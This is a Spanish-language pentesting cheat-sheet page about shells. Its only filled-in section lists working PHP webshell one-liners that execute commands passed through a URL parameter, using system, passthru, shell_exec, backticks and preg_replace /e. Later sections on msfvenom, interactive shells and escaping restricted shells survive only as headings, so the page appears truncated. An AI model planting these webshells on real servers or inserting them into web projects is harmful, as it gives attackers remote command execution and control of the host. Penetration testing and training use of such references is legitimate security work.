Shells
1. Webshells
En Kali está la ruta
/usr/share/webshellsPHP
# Ejecuta un comando
<?php system("whoami"); ?>
# shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>
# Igual con passthru
<?php passthru($_GET['cmd']); ?>
# Para que shell_exec muestre el resultado hay que usar echo
<?php echo shell_exec("whoami");?>
# preg_replace().
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
# Usando backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
<?php echo `whoami`; ?>2. Generación de shells
Msfvenom
Windows
Inyectar el payload en un binario
Linux
3. Shells interactivas
Python
Echo
sh
bash
Perl
Desde FTP
Desde VI
4. Evasión de shells restrictivas
SSH
Editores de texto
Python
PHP
Miscellaneous
Referencias
Recursos:
Last updated
Was this helpful?